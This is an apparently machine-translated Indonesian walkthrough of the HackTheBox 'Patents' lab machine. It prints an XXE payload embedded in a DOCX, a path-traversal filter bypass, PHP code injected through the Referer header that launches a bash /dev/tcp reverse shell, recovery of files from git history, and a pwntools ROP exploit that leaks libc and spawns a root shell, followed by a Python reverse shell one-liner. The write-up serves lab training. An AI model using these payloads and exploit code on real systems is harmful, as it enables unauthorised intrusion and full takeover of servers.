HackTheBox. Melewati Paten. XXE via DOCX, LFI ke RCE, GIT, dan file berantai ROP

gambar

Saya terus menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox .

Dalam artikel ini, kami mengeksploitasi XXE dalam layanan untuk mengkonversi dokumen DOCX ke PDF, mendapatkan RCE melalui LFI, menggali sejarah GIT dan mengembalikan file, menyusun rantai ROP menggunakan pwntools dan menemukan file root tersembunyi.

Koneksi ke laboratorium adalah melalui VPN. Disarankan untuk tidak terhubung dari komputer kerja atau dari host di mana data penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang tahu sesuatu di bidang keamanan informasi :)

Informasi Organisasi
, , Telegram . , , .

. , - , .

Recon


Mesin ini memiliki alamat IP 10.10.10.173, yang saya tambahkan ke / etc / hosts.

10.10.10.173    patents.htb

Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500

gambar

Sekarang, untuk informasi lebih rinci tentang layanan yang beroperasi pada port, kami akan menjalankan pemindaian dengan opsi -A.

nmap -A patents.htb -p22,80,8888

gambar

Tuan rumah menjalankan layanan SSH dan server web Apache, dengan port 8888 dicadangkan untuk layanan yang tidak dapat dipahami. Mari kita lihat webnya.

gambar

Situs ini memiliki formulir pengunduhan untuk dokumen DOCX.

gambar

XXE DOCX


Menurut pernyataan itu, dokumen kami akan dikonversi ke format PDF. Ini menyarankan pemikiran XXE. Saya ambil contoh dari sini .

gambar

Jadi, dalam contoh ini, tuan rumah akan mencoba mengunduh dokumen xml dari server jarak jauh. Dengan mengunduh dokumen ini, ia akan membaca file lokal yang ditentukan dalam dokumen xml yang diunduh, menyandikannya di base64 dan akan menghubungi server kami lagi, meneruskan file yang disandikan sebagai parameter permintaan. Artinya, setelah mendekodekan parameter ini, kami mendapatkan file dari mesin jarak jauh.

Tetapi pemuatan ini tidak boleh ditempatkan pada jalur word / document.xml. Karena OpenXML SDK digunakan untuk bekerja dengan jenis dokumen ini, ia mengikuti dari sini dan dari sini, perangkat lunak sisi server akan mencari data di word / document.xml, dan di customXML / item1.xml. Karena itu, beban harus diletakkan di sana.

Mari kita buat dokumen docx dan unzip sebagai arsip zip. Setelah itu, buat direktori customXML dan buat file item1.xml di dalamnya. Di dalamnya kita akan menulis kode dari gambar di atas, mengubah alamat IP menjadi milik kita. Dan kami mengarsipkan dokumen kembali.

gambar

Sekarang jalankan server web lokal.

python3 -m http.server 80

Dan di direktori saat ini kami membuat file xml kedua, menetapkan / etc / passwd sebagai file yang diinginkan.

gambar

Dan unggah dokumen ke server. Di jendela dengan server web berjalan, kita akan melihat koneksi terbalik.

gambar

Dekode base64 dan dapatkan file yang diminta.

gambar

Dengan cara ini kita dapat membaca file di server. Mari kita baca file konfigurasi Apache. Untuk melakukan ini, ubah dtd.xml dan ulangi unduhan dokumen.

gambar

gambar

Jadi kami mencari tahu direktori di mana situs itu berada. Mari kita coba membaca file konfigurasi.

gambar

gambar

Dan komentar mengatakan file itu diganti namanya karena kerentanan. Kami tentu saja akan menyebutnya paten.htb / getPatent_alphav1.0.php .

gambar

Beralih ke halaman ini dan melewati path ../../../../../etc/passwd sebagai parameter id, semua kemunculan “../” akan dihapus dari baris kami. Mari kita ganti setiap baris "../" dengan "... /. /", Jadi jika Anda menghapus urutan, itu akan tetap "../".

gambar

Dan kami menemukan LFI.

Titik masuk


Mari kita coba dapatkan RCE dari ini. Terus terang - itu sulit. Faktanya adalah ketika mengirim dokumen seperti itu, kami tidak menerima tawaran untuk mengunduh PDF. Yaitu, deskriptor 2 digunakan (untuk menampilkan pesan diagnostik dan debug dalam bentuk teks). Dan kita bisa menoleh padanya. Mari kita enkode shell terbalik di base64:

/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn

Kami akan mendekodekannya dan meneruskannya ke fungsi sistem di php. Mari berikan kode sebagai tajuk HTTP saat mengunggah file.

curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'

Jalankan netcat.

nc -lvp 4321

Dan sekarang mari kita beralih ke deskriptor kedua.

curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2

Kami kembali terhubung.

ROOT 1


Muat skrip sistem mentransfer linpeas dan menganalisis hasilnya dengan cermat. Jadi kami bekerja di wadah buruh pelabuhan.

gambar

Kami juga menemukan hash. Tapi peretasan, kita sia-sia.

gambar

gambar

Oleh karena itu, jalankan pspy64 untuk melacak proses yang sedang berjalan. Dan kami menemukan awal proses sebagai root, di mana kata sandi dilewatkan sebagai variabel lingkungan.

gambar

Dan secara lokal ubah pengguna dengan memasukkan kata sandi ini.

gambar

ROOT 2


Mari kita lihat apa yang dilakukan skrip ini.

gambar

gambar

Kami mendapatkan tip tentang beberapa lfmserver, dan juga menyimpan nama pengguna dan kata sandi. Mari kita lihat dalam sistem untuk semua yang berhubungan dengan lfm.

gambar

Dan kami menemukan repositori git di direktori ini.

gambar

Mari kita bekerja dengan repositori ini.

gambar

Mari kita lihat sejarah perubahan.

gambar

Mari kita lihat sejarah perubahan. Jadi kita melihat bahwa dalam komit kedua dari belakang, file dan deskripsi yang dapat dieksekusi ditambahkan, dan yang terakhir, mereka sudah dihapus. Mari memutar kembali sebelum menghapus file.

git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5

Dan dalam direktori kami, file dan deskripsi yang dapat dieksekusi muncul.

gambar

gambar

Di sini saya sudah ingin memulai membalikkan file, tetapi - kami memiliki proyek git! Saya menemukan komit yang menyebutkan kode sumber.

gambar

Dan mari kita kembalikan file.

git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123

Setelah itu kami mengunduh kode sumber yang menarik, program itu sendiri, dan perpustakaan ke mesin lokal.

Rop


Kita perlu mencoba menemukan dan mengeksploitasi kerentanan dalam program, ada kode sumber untuk membantu. Mari kita periksa proteksi dalam file biner.

gambar

Artinya, kenari dan PIE hilang, tetapi tumpukan tidak dapat dieksekusi. Mari kita buka file biner dalam disassembler dengan dekompiler yang nyaman untuk Anda (saya menggunakan IDA Pro 7.2) dan membandingkan kode yang didekompilasi dengan kode sumber dari repositori.

gambar

Untuk terhubung ke server dan menggunakan data dari file checker.py, serta kredensial.

gambar

gambar

Mari kita menulis templat exploit.

#!/usr/bin/python3

from pwn import *

context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"

Sekarang mari kita menentukan permintaan. Luncurkan aplikasi.

gambar

Anda harus mengirim path ke file dan hash isinya. Sebagai contoh, saya mengambil / etc / hosts.

gambar

Tambahkan kode berikut ke templat.

INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)

r = remote(HOST, PORT)
r.sendline(send_.encode())

r.interactive()

Sekarang jalankan dan dapatkan kesalahan 404.

gambar

Mari kita lihat file log.

gambar

Jelas di mana aplikasi mencari file, mari bermain dengan jalur dan tentukan file seperti itu.

file = "../../../../../etc/hosts"

Kami akan mengeksekusi kode dan kami tidak akan melihat kesalahan.

gambar

gambar

Tetapi dalam kasus urlencode, kami mendapat respons dengan kode 200 dari server!

file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"

gambar

Bagus, mari kita kembali ke disassembler. Kami menemukan di antara baris (Shift + F12) respons server yang berhasil. Dan mari kita lihat di mana itu diakses (X).

gambar

Dan kami beralih ke fungsi pertama, di mana pada awalnya ada verifikasi kredensial.

gambar

Mari kita ganti nama baris variabel di jendela disassembler untuk membuatnya lebih mudah dipahami di dekompiler.

gambar

Dan parsing kode dalam baris 18-24, memahami yang berikut: bagian dari input pengguna jatuh ke fungsi sub_402DB9, di mana string dikonversi ke nama variabel, yang kemudian jatuh ke fungsi akses, dan jika hasilnya negatif, pesan 404 adalah output. nama variabel akan menjadi path ke file. Karena permintaan diproses bahkan dalam pengkodean urlencode, fungsi ini kemungkinan besar diperlukan untuk mendekode.

gambar

Tetapi kenyataannya adalah bahwa nama variabel, di mana data ditransfer, adalah ukuran yang terbatas.

gambar

Jadi, untuk buffer overflow, kita perlu mentransfer 0xA0 = 160 byte. Mari menambahkan kode fungsi menambahkan hingga 160 byte dan menyandikan path ke file. Karena hash dihitung dari isi file, maka tidak perlu melanggar integritas path file, yaitu, setelah path utama tambahkan 0x00 byte.

Tetapi kenyataannya adalah bahwa kita perlu mengetahui hash dari file apa saja di server, yang akan selalu tersedia dan tidak akan pernah berubah. Sebagai contoh, / proc / sys / kernel / randomize_va_space, dan seperti yang kita ingat dari output dari linPEAS, ASLR diaktifkan, yaitu, kita tahu hash.

gambar

Kemudian ganti kodenya.

#!/usr/bin/python3
from pwn import *

def append_and_encode(file, rop=b""):
    ret = b""
    path = (file + b"\x00").ljust(160, b"A") + rop
    for i in path:
        ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
    return ret

context(os="linux", arch="amd64", log_level="error")

HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()

Berhasil!

gambar

Sekarang mari kita gunakan kebocoran memori dan tentukan alamat di mana perpustakaan libc dimuat. Untuk melakukan ini, kami mendapatkan alamat fungsi tulis di pustaka libc yang dimuat.

binary = ELF("./lfmserver")
libc = ELF("./libc6.so")

rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)

gambar

Sekarang pilih alamat fungsi dup2 (8 byte pertama). Kurangi alamat fungsi dup2 di pustaka yang dibongkar darinya. Ini akan menemukan alamat dasar libc.

print(f"[*] Payload sent")

recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")

gambar

Sekarang temukan alamat dari baris / bin / sh.

shell_address = next(libc.search(b"/bin/sh\x00"))

Tetap mengumpulkan ROP, di mana deskriptor I / O standar (0,1,2) akan dialihkan ke deskriptor yang terdaftar dalam program (ambil 6). Setelah itu fungsi sistem akan dipanggil, di mana kita akan melewati alamat baris / bin / sh.

rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build()) 

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)

context.log_level='info'
r.recv()
r.sendline(b"id")

gambar

Baik! Kami mendapatkan shell dari root. Tapi dia cepat mati. Jalankan pendengar (nc -lvp 8765) dan lemparkan shell yang menghubungkan kembali.

r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

gambar

gambar

Dan kami memiliki cangkang yang stabil. Saya memberikan kode lengkap pada gambar di bawah ini.

gambar

Tapi kita tidak bisa membaca flag root ...

gambar

ROOT 3


Dengan menjalankan linpeas dan melihat output, kami menemukan bagian yang menarik, terutama / dev / sda2.

gambar

Mari mendapatkan informasi tentang semua perangkat blokir.

gambar

Jadi kita memiliki partisi root / dev / sda2. Buat direktori dan pasang partisi.

gambar

Jadi kami menemukan flag root.

Anda dapat bergabung dengan kami di Telegram . Di sana Anda dapat menemukan materi yang menarik, kursus yang digabungkan, serta perangkat lunak. Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.

All Articles